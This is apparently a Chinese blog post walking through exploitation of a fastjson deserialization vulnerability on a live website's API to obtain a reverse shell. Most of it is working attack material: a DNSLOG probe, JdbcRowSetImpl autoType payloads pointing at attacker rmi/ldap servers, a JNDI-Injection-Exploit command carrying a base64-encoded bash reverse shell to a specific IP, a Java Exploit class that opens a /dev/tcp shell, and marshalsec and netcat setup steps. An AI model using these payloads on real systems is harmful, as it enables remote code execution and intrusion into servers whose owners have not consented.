fastjson反序列化漏洞反弹shell案例
fastjson反序列化漏洞反弹shell案例
现在最新的fastjson漏洞也出来了
最初是工作中的一次漏洞挖掘过程
站点功能很多
分站也很多
挖漏洞思路还是那些套路吗
Site:网站
二级域名爆破,旁注,C段,端口,服务,登陆接口逻辑,等等
解析IP,查询旁站,发现一个二级域名
在API接口发现了http://www.xxx.net/api/hotProduct/list问题
貌似是json数据
于是尝试json DNSLOG.cn构造看能不能打到数据
为了方便就写了一个工具
思路是POST发送,然后利用DNSLOG,接收数据
构造一个JSON格式的:
{"zeo":{"@type":"java.net.Inet4Address","val":"3vj1ch.dnslog.cn"}}
生成一个DNSLOG
执行完后返回一堆JSON数据
然后验证结果,看打到没
发现是成功打到了,证明存在这个漏洞,可以尝试反弹SHELL
fastjson<=1.2.47版本,和fastjson 1.2.47版本反序列化漏洞
我们先来试试fastjson<=1.2.47这个模块
利用格式是:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vps:1099/j3la6s",
"autoCommit":true
}
}
思路是利用
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTU1LjEwLjE2My85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -A "公网"
echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTU1LjEwLjE2My85OTk5IDA+JjE=
需要进行转码和监听端口
然后
在VPS输入
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTU1LjEwLjE2My85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -A "XX"
为了方便,再编写了一个反弹的模块
然后进行反弹测试
NC需要监听9999端口
在接口执行
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://vps:1099/j3la6s",
"autoCommit":true
}
}
收到了信息
但是还是没能反弹成功
不知道什么原因,尝试了几次,还是失败
无奈准备尝试fastjson 1.2.47版本反序列化漏洞
需要用到
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/公网/1234 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
本地编译Exploit.java
编译后,可以执行以下,是否能正常运行
有可能会出现错误
这就对了,发现是可以用的
然后传到VPS
这里需要用到marshalsec-0.0.3-SNAPSHOT-all.jar工具
上传到VPS
一个三个文件,编译后会有一个CLASS文件
使用python3开启一个http服务器
python3 -m http.server 8080
然后使用
java -cp
marshalsec-0.0.3-SNAPSHOT-all.jar
marshalsec.jndi.RMIRefServer "http://公网:8080/#Exploit" 9999
启动ldap服务
然后在我们编写的工具模块
填入以下信息
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"lysec":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://公网:9999/#Exploit","autoCommit":true}}
NC监听1234端口
执行以下
回到VPS
发现成功反弹到shell
下一篇 >>